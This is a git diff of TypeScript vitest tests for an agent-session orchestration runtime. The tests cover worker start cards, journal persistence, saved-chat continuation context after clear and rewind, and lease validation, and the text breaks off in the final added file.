a/src/main/runtime/rpc/methods/orchestration/worker-start-card.test.ts +++ b/src/main/runtime/rpc/methods/orchestration/worker-start-card.test.ts @@ -1,54 +1,29 @@ -import { afterEach, expect, it, vi } from 'vitest' -import { createOrchestrationRpcHarness } from './rpc-test-harness' +import { verifyWorkerStartCardScenario } from './worker-start-card-scenario.test-fixture' +import { expect, it, vi } from 'vitest' import { partialRuntimeStore } from '../../../runtime-store-partial-fixture' import { resolveOrchestrationSessionCaller } from '../../orchestration-session-caller' import { setStructuredAgentSessionHost } from '../../../../native-chat/agent-session-wire/structured-agent-session-registry' import { createQueuedMessageTestRig, eventually, - QUEUED_RIG_CALLER, - type QueuedMessageTestRig + QUEUED_RIG_CALLER } from '../../../../native-chat/agent-session-wire/structured-agent-session-queued-message-rig.test-fixture' import { hostTestAttachParams, hostTestOperationId } from '../../../../native-chat/agent-session-wire/structured-agent-session-host-test-data' -import { testOrcaSessionId } from '../../../../../shared/orca-session-address-test-fixture' -import { projectStructuredAgentStartItem } from '../../../../../shared/structured-agent-start-projection' import { AGENT_JOURNAL_THREAD_SCOPE, type AgentJournalItemBody } from '../../../../../shared/agent-session-journal-types' -import { - closeTestJournalHostDatabase, - openTestJournalHostDatabase -} from '../../../../native-chat/agent-session-journal/journal-host-database-test-support' -import * as journalSchema from '../../../../native-chat/agent-session-journal/journal-row-schema' -import { StructuredAgentSessionJournalProjections } from '../../../../native-chat/agent-session-wire/structured-agent-session-status-journal-projection' -import { installSqlVisitCounters } from '../../../dispatch-predicate-visits.test-fixture' -import { createMinimalPersistedTerminalTab } from '../../../../persistence/restoring-sessions/session-owner-fields' -import { getDefaultWorkspaceSession } from '../../../../../shared/constants' -import { readFile } from 'node:fs/promises' -import { projectStructuredAgentSessionStatusSummary } from '../../../../../shared/structured-agent-session-projection' -import { prepareWorkerStartCard } from '../../../orchestration/worker-start-card' -import * as placement from './worker/worker-start-agent-placement' -import * as topology from './worker/worker-topology' import { ORCHESTRATION_CONTRACT_RUNTIME_CAPABILITY, ORCHESTRATION_FEDERATION_RUNTIME_CAPABILITY } from '../../../../../shared/protocol-version' +import * as placement from './worker/worker-start-agent-placement' +import * as topology from './worker/worker-topology' -const h = createOrchestrationRpcHarness() -const COORD = testOrcaSessionId('start-card-caller') -const WORKER = testOrcaSessionId('start-card-worker') -let rig: QueuedMessageTestRig | undefined -afterEach(async () => { - setStructuredAgentSessionHost(null) - await rig?.dispose() - rig = undefined - h.cleanup() - vi.restoreAllMocks() -}) +import { fixture, COORD, WORKER, h } from './worker-start-card-contract-test-fixture' it.each([ 'success', @@ -66,8 +41,8 @@ it.each([ ] as const)( 'real worker-start records creation independently of launch: %s', async (scenario) => { - rig = await createQueuedMessageTestRig({ sessionId: WORKER }) - const current = rig + fixture.rig = await createQueuedMessageTestRig({ sessionId: WORKER }) + const current = fixture.rig if (scenario === 'readiness-failure') { current.dispatch.mockRejectedValueOnce(new Error('provider dispatch failed')) } @@ -308,457 +283,7 @@ it.each([ ).toBe(true) ) } - const snapshot = await current.host.journalSnapshot(COORD) - const cards = snapshot.items.filter((item) => item.body.kind === 'agent-start') - if (scenario !== 'success' && scenario !== 'federated') { - expect(cards).toHaveLength(0) - return - } - expect(cards).toHaveLength(1) - const [card] = cards - expect(snapshot.items.map(({ itemId }) => itemId)).toEqual([ - ...before.items.map(({ itemId }) => itemId), - card.itemId - ]) - expect(card.body).toMatchObject({ - kind: 'agent-start', - task, - ...(!federated - ? { worker: { party: { address: 'term_worker', terminalHandle: 'term_worker' } } } - : {}) - }) - if (card.body.kind !== 'agent-start') { - throw new Error('missing start body') - } - if (federated) { - expect(card.body.worker.party.address).toBe(`dispatch:${card.body.dispatchId}`) - } - const destination = append.mock.calls[0][0] - await Promise.all([ - current.host.appendAgentStart( - destination, - { ...card.body, task: 'replayed task' }, - card.observedAt + 10 - ), - current.host.appendAgentStart(destination, card.body, card.observedAt + 20) - ]) - expect( - (await current.host.journalSnapshot(COORD)).items.filter( - (item) => item.body.kind === 'agent-start' - ) - ).toEqual(cards) - expect(projectStructuredAgentStartItem(card)).toMatchObject({ - role: 'system', - agentStart: true, - timestamp: card.observedAt, - blocks: [{ type: 'text', text: task }] - }) - expect( - projectStructuredAgentSessionStatusSummary(snapshot.items, snapshot.submissions) - ).toEqual(projectStructuredAgentSessionStatusSummary(before.items, before.submissions)) - // Full task survives removal of the orchestration rows it came from. - db.resetAll() - expect( - (await current.host.journalSnapshot(COORD)).items.find((item) => item.itemId === card.itemId) - ).toEqual(card) - if (scenario === 'success') { - const context = await current.host.continuationContext({ - sessionId: COORD, - workspaceId: current.store.getConversation(COORD)!.location.workspaceId, - expectedCursor: snapshot.cursor - }) - expect(context).toMatchObject({ status: 'current' }) - if (context.status !== 'current' || !context.transcriptPath) { - throw new Error('saved context missing') - } - const saved = await readFile(context.transcriptPath, 'utf8') - expect(saved).toContain('Coordinate this work') - expect(saved).not.toContain(task) - expect(context.capturedText).not.toContain(task) - await current.quitRestartHostProcess() - await closeTestJournalHostDatabase(current.root) - current.crashRestartHostProcess() - const reopened = await current.host.journalSnapshot(COORD) - expect(reopened.items.map(({ itemId }) => itemId)).toEqual( - snapshot.items.map(({ itemId }) => itemId) - ) - expect(reopened.items.filter(({ body }) => body.kind !== 'tool-call')).toEqual( - snapshot.items.filter(({ body }) => body.kind !== 'tool-call') - ) - const recovered = reopened.items.find(({ itemId }) => itemId === 'orca:caller-1') - expect(recovered).toEqual({ - ...snapshot.items[1], - revision: snapshot.items[1].revision + 1, - recovered: true, - recoveredAt: expect.any(Number), - body: { - kind: 'tool-call', - name: 'shell', - input: { command: 'inspect' }, - state: 'failed', - endedAs: 'interrupted' - } - }) - expect(reopened.cursor.epoch).toBe(snapshot.cursor.epoch) - expect(reopened.cursor.sequence).toBeGreaterThan(snapshot.cursor.sequence) - const history = await current.host.history({ sessionId: COORD, direction: 'tail' }) - expect(history).toMatchObject({ ok: true, page: { items: reopened.items } }) - } - const journal = current.host.collaboratorsForTests().sessions.get(COORD)!.journal - if (scenario === 'success') { - for (let index = 0; index < 3; index++) { - await journal.appendItem( - { provider: 'orca', clientMessageId: `pressure-${index}` }, - { - kind: 'message', - role: 'assistant', - blocks: [{ type: 'text', text: 'x'.repeat(750000) }] - }, - { - fence: current.store.getConversation(COORD)!.currentFence, - turnScope: AGENT_JOURNAL_THREAD_SCOPE - } - ) - } - const tail = await current.host.history({ sessionId: COORD, direction: 'tail' }) - if (!tail.ok) { - throw new Error('pressure tail missing') - } - expect(tail.page.hasOlder).toBe(true) - expect(tail.page.items.some(({ itemId }) => itemId === card.itemId)).toBe(false) - const older = await current.host.history({ - sessionId: COORD, - direction: 'before', - cursor: tail.page.window.nextCursor - }) - if (!older.ok) { - throw new Error('pressure older page missing') - } - expect(older.page.items.find(({ itemId }) => itemId === card.itemId)).toEqual(card) - } - await journal.appendTombstone( - { provider: 'orca', clientMessageId: `agent-start:${card.body.dispatchId}` }, - { fence: current.store.getConversation(COORD)!.currentFence } - ) - if (scenario === 'success') { - await current.quitRestartHostProcess() - await closeTestJournalHostDatabase(current.root) - current.crashRestartHostProcess() - } - await current.host.appendAgentStart(destination, card.body, card.observedAt + 30) - expect( - (await current.host.journalSnapshot(COORD)).items.some((item) => item.itemId === card.itemId) - ).toBe(false) + await verifyWorkerStartCardScenario({ current, scenario, before, task, federated, db, append }) }, 20_000 ) - -it.each([10, 100])( - 'counts populated producer source and journal operations for %i starts and duplicate publications', - async (count) => { - rig = await createQueuedMessageTestRig({ sessionId: COORD }) - const current = rig - setStructuredAgentSessionHost(current.host) - const session = getDefaultWorkspaceSession() - const { runtime, db } = h.setup( - false, - partialRuntimeStore({ - getSettings: () => ({ agentDefaultSurface: 'terminal' }), - getWorkspaceSession: () => session - }) - ) - vi.spyOn(runtime, 'ensureStructuredAgentSessionHost').mockResolvedValue() - const run = db.createRun({ - objective: 'scale', - coordinatorHandle: null, - coordinatorPaneKey: null - }) - const tabs: ReturnType[] = [] - const facts: { dispatchId: string; workerAddress: string; task: string; name: string }[] = [] - for (let index = 0; index < 10 * count; index++) { - const handle = `term_scale_${index}` - const tabId = `scale-tab-${index}` - const leafId = `11111111-1111-4111-8111-${String(index).padStart(12, '0')}` - tabs.push( - createMinimalPersistedTerminalTab({ - worktreeId: 'workspace-1', - tabId, - ptyId: `pty-${index}`, - existingTabCount: index - }) - ) - runtime.handles.set(handle, { - handle, - runtimeId: runtime.getRuntimeId(), - rendererGraphEpoch: 1, - worktreeId: 'workspace-1', - tabId, - leafId, - ptyId: null, - ptyGeneration: 0, - issuedForPaneKey: `${tabId}:${leafId}` - }) - const task = db.createTask({ - runId: run.id, - spec: `Task ${index}`, - displayName: `Scale worker ${index}` - }) - const { dispatch } = db.createStartingWorkerDispatch({ - creator: { kind: 'system' }, - maxDepth: Number.MAX_SAFE_INTEGER, - taskId: task.id, - startOptions: {} - }) - db.prepareStartingWorkerAuthority({ - dispatchId: dispatch.id, - handle, - paneKey: `${tabId}:${leafId}`, - processIncarnation: `scale:${index}`, - worktreeId: 'workspace-1', - effects: [], - setupState: 'not_applicable' - }) - db.markWorkerDispatchReady(dispatch.id) - if (index >= 9 * count) { - facts.push({ - dispatchId: dispatch.id, - workerAddress: handle, - task: task.spec, - name: `Scale worker ${index}` - }) - } - } - let tabVisits = 0 - tabs.forEach((tab, index) => { - Object.defineProperty(tabs, index, { - get() { - tabVisits++ - return tab - } - }) - }) - session.tabsByWorktree['workspace-1'] = tabs - vi.mocked(runtime.getTerminalPaneKey).mockImplementation( - (handle) => runtime.handles.get(handle)?.issuedForPaneKey ?? null - ) - const journal = current.host.collaboratorsForTests().sessions.get(COORD)!.journal - for (let index = 0; index < 9 * count; index++) { - await journal.appendItem( - { provider: 'orca', clientMessageId: `history-${index}` }, - { - kind: 'message', - role: 'assistant', - blocks: [{ type: 'text', text: `History ${index}` }] - }, - { - fence: current.store.getConversation(COORD)!.currentFence, - turnScope: AGENT_JOURNAL_THREAD_SCOPE - } - ) - } - const admitted = await resolveOrchestrationSessionCaller( - runtime, - { - id: 'scale', - authToken: 'test-token', - method: 'orchestration.workerStart', - params: { spec: 'Task' }, - orchestrationCompatibilityEvidence: { agentSessionId: COORD } - }, - undefined - ) - let dispatchVisits = 0 - let taskVisits = 0 - installSqlVisitCounters({ - start_dispatch_visit: () => { - dispatchVisits++ - return 1 - }, - start_task_visit: () => { - taskVisits++ - return 1 - } - }) - const prepareSource = db.db.prepare.bind(db.db) - const sourceQueries = vi - .spyOn(db.db, 'prepare') - .mockImplementation((query) => - prepareSource( - query - .replace( - 'WHERE assignee_handle = ?', - 'WHERE assignee_handle = ? AND start_dispatch_visit(rowid)' - ) - .replace( - 'FROM tasks WHERE id = ?', - 'FROM tasks WHERE id = ? AND start_task_visit(rowid)' - ) - ) - ) - const connection = openTestJournalHostDatabase(current.root).db - const epochReads = vi.spyOn( - connection.prepare('SELECT epoch FROM journal_sessions WHERE session_id = ?'), - 'get' - ) - const inserts = vi.spyOn( - connection.prepare( - 'INSERT INTO journal_rows (session_id, epoch, seq, ts, row_json) VALUES (?, ?, ?, ?, ?)' - ), - 'run' - ) - const journalQueries = vi.spyOn(connection, 'prepare') - const serialized = vi.spyOn(journalSchema, 'serializeJournalRow') - const activeSource = vi.spyOn(db, 'getActiveDispatchForTerminal') - const recordedSource = vi.spyOn(db, 'getDispatchContextById') - const sender = vi.spyOn(runtime.orchestrationSenderNames, 'sender') - const names = vi.spyOn(runtime.orchestrationSenderNames, 'nameOf') - const dedupe = vi.spyOn(journal, 'hasRecordedItem') - const scan = vi.spyOn(journal, 'visitItemsWithLinkage') - const projection = StructuredAgentSessionJournalProjections.prototype - const readProjection = projection.read - let projecting = false - vi.spyOn(projection, 'read').mockImplementation(function ( - this: StructuredAgentSessionJournalProjections, - ...args - ) { - const previous = projecting - projecting = true - try { - return readProjection.apply(this, args) - } finally { - projecting = previous - } - }) - const snapshotSources: string[] = [] - const readSnapshot = journal.snapshot.bind(journal) - const snapshot = vi.spyOn(journal, 'snapshot').mockImplementation(() => { - snapshotSources.push(projecting ? 'status-projection' : 'other') - return readSnapshot() - }) - const append = vi.spyOn(current.host, 'appendAgentStart') - const warn = vi.spyOn(console, 'warn').mockImplementation(() => {}) - const before = journal.snapshot() - snapshot.mockClear() - const fail = prepareWorkerStartCard(runtime, admitted.caller) - expect(epochReads).toHaveBeenCalledTimes(1) - inserts.mockImplementationOnce(() => { - throw new Error('fixture insert failed') - }) - fail(facts[0]) - await eventually(() => expect(append).toHaveBeenCalledTimes(1)) - await Promise.allSettled(append.mock.results.map((result) => result.value)) - await eventually(() => - expect(warn).toHaveBeenCalledWith( - '[orchestration] recording a started worker in its caller chat failed', - expect.any(Error) - ) - ) - expect(epochReads).toHaveBeenCalledTimes(3) - expect(serialized).toHaveBeenCalledTimes(1) - expect(inserts).toHaveBeenCalledTimes(1) - expect(sourceQueries).toHaveBeenCalledTimes(2) - expect(dispatchVisits).toBe(1) - expect(taskVisits).toBe(1) - expect(tabVisits).toBe(9 * count + 1) - expect(journal.snapshot()).toEqual(before) - expect( - connection - .prepare('SELECT COUNT(*) AS count FROM journal_rows WHERE session_id = ?') - .get(COORD)?.count - ).toBe(before.cursor.sequence) - for (const counter of [ - epochReads, - serialized, - inserts, - sourceQueries, - journalQueries, - activeSource, - recordedSource, - sender, - names, - dedupe, - scan, - snapshot, - append, - warn - ]) { - counter.mockClear() - } - snapshotSources.length = 0 - tabVisits = dispatchVisits = taskVisits = 0 - const publishers = facts.map(() => prepareWorkerStartCard(runtime, admitted.caller)) - expect(epochReads).toHaveBeenCalledTimes(count) - facts.forEach((fact, index) => publishers[index](fact)) - await eventually(() => expect(append).toHaveBeenCalledTimes(count)) - await Promise.all(append.mock.results.map((result) => result.value)) - expect(epochReads).toHaveBeenCalledTimes(3 * count) - expect(serialized).toHaveBeenCalledTimes(count) - expect(inserts).toHaveBeenCalledTimes(count) - expect(snapshotSources).toEqual(['status-projection']) - // Duplicate callbacks still name the sender but must stop before row serialization/insertion. - facts.forEach((fact, index) => publishers[index](fact)) - await eventually(() => expect(append).toHaveBeenCalledTimes(2 * count)) - await Promise.all(append.mock.results.map((result) => result.value)) - expect(epochReads).toHaveBeenCalledTimes(5 * count) - expect(serialized).toHaveBeenCalledTimes(count) - expect(inserts).toHaveBeenCalledTimes(count) - expect(sender).toHaveBeenCalledTimes(2 * count) - expect(names).toHaveBeenCalledTimes(2 * count) - expect(activeSource).toHaveBeenCalledTimes(2 * count) - expect(recordedSource).not.toHaveBeenCalled() - expect(sourceQueries).toHaveBeenCalledTimes(4 * count) - expect(dispatchVisits).toBe(2 * count) - expect(taskVisits).toBe(2 * count) - const visitsPerPass = facts.reduce((sum, _fact, index) => sum + 9 * count + index + 1, 0) - expect(tabVisits).toBe(2 * visitsPerPass) - expect(tabVisits).toBeLessThanOrEqual(2 * count * tabs.length) - expect(dedupe).toHaveBeenCalledTimes(2 * count) - expect(scan).not.toHaveBeenCalled() - expect(snapshot).toHaveBeenCalledTimes(1) - expect(snapshotSources).toEqual(['status-projection']) - expect(journalQueries.mock.calls.filter(([query]) => /FROM journal_rows/.test(query))).toEqual( - [] - ) - expect(warn).not.toHaveBeenCalled() - for (const [query] of sourceQueries.mock.calls.slice(0, 2)) { - const plan = prepareSource(`EXPLAIN QUERY PLAN ${query}`) - .all('unused') - .map((row) => row.detail) - .join(' | ') - expect(plan).toMatch(/SEARCH (?:dispatch_contexts|tasks)/) - expect(plan).not.toMatch(/SCAN/) - } - const cards = journal.snapshot().items.filter(({ body }) => body.kind === 'agent-start') - expect(cards.map(({ body }) => body)).toEqual( - facts.map((fact) => ({ - kind: 'agent-start', - dispatchId: fact.dispatchId, - task: fact.task, - worker: { - party: { - address: fact.workerAddress, - terminalHandle: fact.workerAddress, - orcaSessionId: null - }, - name: fact.name - } - })) - ) - expect( - connection - .prepare('SELECT COUNT(*) AS count FROM journal_rows WHERE session_id = ?') - .get(COORD)?.count - ).toBe(before.cursor.sequence + count) - console.info('start population/operations', { - count, - sourceRecords: 10 * count, - history: 9 * count, - epochReads: epochReads.mock.calls.length, - serializedRows: serialized.mock.calls.length, - inserts: inserts.mock.calls.length, - dispatchVisits, - taskVisits, - tabVisits - }) - } -) diff --git a/src/main/runtime/rpc/methods/structured-agent-session-at-rest-context.test.ts b/src/main/runtime/rpc/methods/structured-agent-session-at-rest-context.test.ts new file mode 100644 index 00000000000..29eb1ab731e --- /dev/null +++ b/src/main/runtime/rpc/methods/structured-agent-session-at-rest-context.test.ts @@ -0,0 +1,299 @@ +import '../unused-default-rpc-methods.test-fixture' +vi.mock('node:fs/promises', { spy: true }) +import { readFile, rm } from 'node:fs/promises' +import { piRpcDialogPresentation } from '../../../pi/rpc-extension-dialogs' +import { legacyAgentSessionSelectedOptionId } from '../../../../shared/agent-session-question-answer' +import type { + AgentJournalItemBody, + AgentJournalResolution, + AgentJournalQuestionItem +} from '../../../../shared/agent-session-journal-types' +import { AGENT_JOURNAL_THREAD_SCOPE } from '../../../../shared/agent-session-journal-types' +import { expect, it, vi } from 'vitest' +import { hostTestMessage } from '../../../native-chat/agent-session-wire/structured-agent-session-host-test-data' +import { setStructuredAgentSessionHost } from '../../../native-chat/agent-session-wire/structured-agent-session-registry' +import { REST_TEST_SESSION as SESSION } from '../../../native-chat/agent-session-wire/structured-agent-session-rest-test-rig' +import * as fileOperations from 'node:fs/promises' +import * as contextSnapshots from '../../../native-chat/agent-session-context-snapshots' + +import { + fixture, + actualFiles, + call, + restingChat +} from './structured-agent-session-rest-contract-test-fixture' + +it('hands off the reduced saved chat after clear and rewind, budgets only the starter and overwrites its file', async () => { + await restingChat() + await fixture.rig.host.journalSnapshot(SESSION) + let journal = fixture.rig.host.collaboratorsForTests().sessions.get(SESSION)!.journal + const fence = fixture.rig.store.getRecord(SESSION)!.lease.runtimeFence + const receipt = { write: () => {}, committed: () => {} } + let ordinal = 100 + const append = (text: string | AgentJournalItemBody, itemOrdinal = ordinal++) => + journal.appendItem( + { provider: 'codex', threadId: 'saved-thread', turnId: 'saved-turn', ordinal: itemOrdinal }, + typeof text === 'string' ? hostTestMessage(text) : text, + { + fence: fixture.rig.store.getRecord(SESSION)!.lease.runtimeFence, + turnScope: AGENT_JOURNAL_THREAD_SCOPE + } + ) + await append('PRE_CLEAR_SECRET') + await journal.context.clear( + { operationId: 'pr-31782-clear', afterFence: fence, clearedAt: fixture.rig.clock.now }, + receipt + ) + await append('EARLY_SAVED_MARKER') + for (let index = 0; index < 205; index++) { + await append(`saved ${index} ${'context '.repeat(60)}`) + } + const floor = journal.cursor() + await append('DISCARDED_REWIND_SECRET') + await journal.context.rewind(floor, fence, [], () => receipt) + const resolution = ( + state: AgentJournalResolution['state'], + selectedOptionId: string | null = null + ): AgentJournalResolution => ({ state, selectedOptionId, resolvedBy: null, resolvedAt: null }) + const question = (name: string, answer?: string): AgentJournalQuestionItem => ({ + kind: 'question', + question: name, + options: [], + freeTextQuestionId: 'input', + freeTextInput: { allowEmpty: true }, + resolution: { + ...resolution('resolved'), + ...(answer !== undefined + ? { answers: [{ questionId: 'input', optionIds: [], other: answer }] } + : {}) + } + }) + for (const [name, value] of [ + ['deployment', ' deploy to staging '], + ['explicit empty', ''], + ['whitespace', ' \t'] + ]) { + await append(question(name, value)) + } + await append(question('unreadable')) + await append({ ...question('cancelled ask'), resolution: resolution('cancelled') }) + await append({ + ...question('legacy answer'), + resolution: resolution('resolved', 'input:legacy%20deployment') + }) + await append({ + kind: 'question', + question: 'Release choices', + options: [], + questions: [ + { + id: 'regions', + header: 'Region group', + question: 'Which regions?', + multiSelect: true, + options: [ + { id: 'east', label: 'East', description: 'Primary region' }, + { id: 'west', label: 'West' } + ] + }, + { + id: 'details', + question: 'Release detail?', + multiSelect: true, + options: [{ id: 'known', label: 'Known' }], + freeTextQuestionId: 'details' + } + ], + resolution: { + ...resolution('resolved'), + answers: [ + { questionId: 'regions', optionIds: ['east', 'west'] }, + { questionId: 'details', optionIds: ['known', 'missing'], other: 'partial text' } + ] + } + }) + for (const choice of ['yes', 'no']) { + await append({ + kind: 'approval', + title: `Confirm ${choice}`, + detail: 'Deploy?', + options: [ + { id: 'yes', label: 'Yes' }, + { id: 'no', label: 'No' } + ], + resolution: resolution('resolved', choice) + }) + } + await append({ + kind: 'approval', + title: 'Review plan', + description: 'Saved description', + decisionReason: 'Saved reason', + matchedAskRule: { source: 'workspace', toolName: 'Write', ruleContent: 'Saved ask rule' }, + blockedPath: '/work/target', + detail: 'Clipped detail', + subject: { kind: 'plan', text: 'RETAINED_PLAN_MARKER', filePath: '/work/plan.md' }, + options: [ + { id: 'plan', label: 'Approve plan' }, + { id: 'keep', label: 'Keep planning' } + ], + resolution: resolution('resolved', 'keep') + }) + const editor = piRpcDialogPresentation({ + id: 'editor', + method: 'editor', + title: 'Edit release notes', + prefill: 'RETAINED_EDITOR_MARKER\nHold deployment', + placeholder: 'Keep migration details' + }) + if (editor?.body.kind !== 'question') { + throw new Error('Pi editor missing') + } + const editorOrdinal = ordinal++ + await append(editor.body, editorOrdinal) + const editorParams = { + sessionId: SESSION, + workspaceId: 'workspace-1', + expectedCursor: { epoch: journal.cursor().epoch, sequence: 0 } + } + const pendingEditor = await fixture.rig.host.continuationContext(editorParams) + if (pendingEditor.status !== 'current' || !pendingEditor.transcriptPath) { + throw new Error('Pending editor snapshot missing') + } + for (const text of [ + await readFile(pendingEditor.transcriptPath, 'utf8'), + pendingEditor.capturedText ?? '' + ]) { + expect(text).toContain( + 'Prompt state: pending\nSaved prompt: {"kind":"question","question":"Edit release notes"' + ) + expect(text).toContain('"initialValue":"RETAINED_EDITOR_MARKER\\nHold deployment"') + expect(text).toContain('"placeholder":"Keep migration details"') + } + const answers = [{ questionId: 'editor', optionIds: [], other: 'REPLACEMENT_EDITOR_ANSWER' }] + const selectedOptionId = legacyAgentSessionSelectedOptionId(editor.body, answers) + await append( + { ...editor.body, resolution: { ...resolution('resolved', selectedOptionId), answers } }, + editorOrdinal + ) + await fixture.rig.restart() + setStructuredAgentSessionHost(fixture.rig.host) + const snapshot = await fixture.rig.host.journalSnapshot(SESSION) + journal = fixture.rig.host.collaboratorsForTests().sessions.get(SESSION)!.journal + await append({ ...question('pending ask'), resolution: resolution('pending') }) + const params = { + sessionId: SESSION, + workspaceId: 'workspace-1', + expectedCursor: { epoch: snapshot.cursor.epoch, sequence: 0 } + } + await call('agentSession.options', { sessionId: SESSION }) + const gate = Promise.withResolvers() + const write = actualFiles.writeFile + const writing = vi.spyOn(fileOperations, 'writeFile').mockImplementationOnce(async (...args) => { + await gate.promise + return write(...args) + }) + const pending = fixture.rig.host.continuationContext(params) + await vi.waitFor(() => expect(writing).toHaveBeenCalledOnce()) + const currentJournal = fixture.rig.host.collaboratorsForTests().sessions.get(SESSION)!.journal + await currentJournal.appendItem( + { provider: 'orca', clientMessageId: 'pr-31782-late' }, + hostTestMessage('LATER_SAVED_MARKER'), + { + fence: fixture.rig.store.getRecord(SESSION)!.lease.runtimeFence, + turnScope: AGENT_JOURNAL_THREAD_SCOPE + } + ) + gate.resolve() + const first = await pending + if (first.status !== 'current' || !first.transcriptPath) { + throw new Error('Snapshot missing') + } + const path = first.transcriptPath + try { + const file = await readFile(path, 'utf8') + expect(file).toContain('EARLY_SAVED_MARKER') + expect(file).not.toMatch(/PRE_CLEAR_SECRET|DISCARDED_REWIND_SECRET|LATER_SAVED_MARKER/) + expect(first.capturedText?.length).toBeLessThanOrEqual(36_000) + expect(first.capturedText).toContain('Earlier saved chat messages omitted') + expect(first.capturedText).not.toContain('EARLY_SAVED_MARKER') + for (const text of [file, first.capturedText ?? '']) { + const prompts: unknown[] = [...text.matchAll(/^Saved prompt: (.+)$/gm)].map((match) => + JSON.parse(match[1]!) + ) + for (const [name, value] of [ + ['deployment', ' deploy to staging '], + ['explicit empty', ''], + ['whitespace', ' \t'] + ]) { + expect(prompts).toContainEqual(expect.objectContaining(question(name, value))) + } + expect(text).toMatch( + /"question":"unreadable"[^\n]*\nQuestion "input"\nSubmitted answer: unavailable/ + ) + expect(text).toMatch(/Prompt state: pending\nSaved prompt: .*"question":"pending ask"/) + expect(text).toMatch(/Prompt state: cancelled\nSaved prompt: .*"question":"cancelled ask"/) + const legacy = text.split('\n\n').find((row) => row.includes('"question":"legacy answer"'))! + expect(legacy).toContain('"selectedOptionId":"input:legacy%20deployment"') + expect(legacy.split('Legacy free text: "legacy deployment"')).toHaveLength(2) + expect(text).toContain( + 'Question "regions" (Region group)\nSelected choice: East\nSelected choice: West' + ) + expect(text).toContain('"question":"Which regions?"') + expect(text).toContain('"label":"East","description":"Primary region"') + expect(text).toContain( + 'Question "details"\nSelected choice: Known\nSelected choice: unavailable\nSubmitted free text: resolution.answers[1].other' + ) + expect(text).toContain('"other":"partial text"') + expect(text).toMatch(/Confirm yes[\s\S]*Selected choice: Yes/) + expect(text).toMatch(/Confirm no[\s\S]*Selected choice: No/) + expect(text).toContain( + '"subject":{"kind":"plan","text":"RETAINED_PLAN_MARKER","filePath":"/work/plan.md"}' + ) + expect(text).toContain( + '"matchedAskRule":{"source":"workspace","toolName":"Write","ruleContent":"Saved ask rule"}' + ) + expect(text).toContain('Selected choice: Keep planning') + const row = text + .split('\n\n') + .find((entry) => entry.includes('"question":"Edit release notes"'))! + expect(row).toContain('Prompt state: resolved') + expect(row).toContain(JSON.stringify(editor.body.freeTextInput)) + expect(row).toContain(JSON.stringify(answers)) + expect(row).toContain(`"selectedOptionId":${JSON.stringify(selectedOptionId)}`) + expect(row.split('\n').slice(2).join('\n')).toBe( + 'Question "editor"\nSubmitted free text: resolution.answers[0].other' + ) + } + expect(await call('agentSession.continuationContext', params)).toMatchObject([ + { + ok: true, + result: { + status: 'current', + transcriptPath: path, + capturedText: expect.stringContaining('LATER_SAVED_MARKER') + } + } + ]) + expect(await readFile(path, 'utf8')).toContain('LATER_SAVED_MARKER') + expect(await fixture.rig.host.continuationContext({ ...params, workspaceId: 'other' })).toEqual( + { + status: 'superseded' + } + ) + expect( + await fixture.rig.host.continuationContext({ + ...params, + expectedCursor: { epoch: 'other', sequence: 0 } + }) + ).toEqual({ status: 'superseded' }) + expect(fixture.rig.adapter.acquire).not.toHaveBeenCalled() + writing.mockRejectedValueOnce(new Error('disk unavailable')) + expect(await call('agentSession.continuationContext', params)).toMatchObject([{ ok: false }]) + } finally { + await rm(contextSnapshots.agentSessionContextSnapshotRoot(fixture.rig.root), { + recursive: true, + force: true + }) + } +}) diff --git a/src/main/runtime/rpc/methods/structured-agent-session-at-rest-lease.test.ts b/src/main/runtime/rpc/methods/structured-agent-session-at-rest-lease.test.ts new file mode 100644 index 00000000000..dff8078cf27 --- /dev/null +++ b/src/main/runtime/rpc/methods/structured-agent-session-at-rest-lease.test.ts @@ -0,0 +1,52 @@ +import '../unused-default-rpc-methods.test-fixture' +import { expect, it, vi } from 'vitest' +vi.mock('node:fs/promises', { spy: true }) +import { readFile } from 'node:fs/promises' +import { setStructuredAgentSessionHost } from '../../../native-chat/agent-session-wire/structured-agent-session-registry' +import { REST_TEST_SESSION as SESSION } from '../../../native-chat/agent-session-wire/structured-agent-session-rest-test-rig' +import { + editPersistedTestAgentSessionStore, + readPersistedTestAgentSessionStore +} from '../../agent-session-record-store-test-harness' + +import { fixture, call, restingChat } from './structured-agent-session-rest-contract-test-fixture' + +it('hands off a readable saved conversation without granting its invalid execution lease authority', async () => { + await restingChat() + const { cursor } = await fixture.rig.host.journalSnapshot(SESSION) + await fixture.rig.host.flushAllStreamedEvents() + await editPersistedTestAgentSessionStore(fixture.rig.root, (persisted) => { + Object.assign(persisted.records[SESSION].lease, { minimumNextFence: 'bad' }) + }) + await fixture.rig.restart() + setStructuredAgentSessionHost(fixture.rig.host) + expect(fixture.rig.store.getRecord(SESSION)).toBeNull() + expect(fixture.rig.store.getConversation(SESSION)?.location.workspaceId).toBe('workspace-1') + const saved = (await readPersistedTestAgentSessionStore(fixture.rig.root)).records[SESSION] + const params = { sessionId: SESSION, workspaceId: 'workspace-1', expectedCursor: cursor } + const result = await fixture.rig.host.continuationContext(params) + expect(result).toMatchObject({ + status: 'current', + capturedText: expect.stringContaining('hello') + }) + if (result.status !== 'current' || !result.transcriptPath) { + throw new Error('Saved conversation snapshot missing') + } + expect(await readFile(result.transcriptPath, 'utf8')).toContain('hello') + expect(await call('agentSession.continuationContext', params)).toMatchObject([ + { ok: true, result } + ]) + for (const stale of [ + { ...params, workspaceId: 'other' }, + { ...params, expectedCursor: { ...cursor, epoch: 'other' } }, + { ...params, expectedCursor: { ...cursor, sequence: cursor.sequence + 1 } } + ]) { + expect(await fixture.rig.host.continuationContext(stale)).toEqual({ status: 'superseded' }) + } + expect(fixture.rig.store.getRecord(SESSION)).toBeNull() + expect((await readPersistedTestAgentSessionStore(fixture.rig.root)).records[SESSION]).toEqual( + saved + ) + expect(fixture.rig.adapter.acquire).not.toHaveBeenCalled() + expect(fixture.rig.adapter.dispatch).not.toHaveBeenCalled() +}) diff --git a/src/main/runtime/rpc/methods/structured-agent-session-at-rest-options.test.ts b/src/main/runtime/rpc/methods/structured-agent-session-at-rest-options.test.ts new file mode 100644 index 00000000000..820494c34ce --- /dev/null +++ b/src/main/runtime/rpc/methods/structured-agent-session-at-rest-options.test.ts @@ -0,0 +1,172 @@ +import '../unused-default-rpc-methods.test-fixture' +vi.mock('node:fs/promises', { spy: true }) +import { AGENT_JOURNAL_THREAD_SCOPE } from '../../../../shared/agent-session-journal-types' +import { expect, it, vi } from 'vitest' +import { computeAgentSessionPayloadFingerprint } from '../../../../shared/agent-session-mutation-envelope' +import { activeStructuredAgentSessionTurnId } from 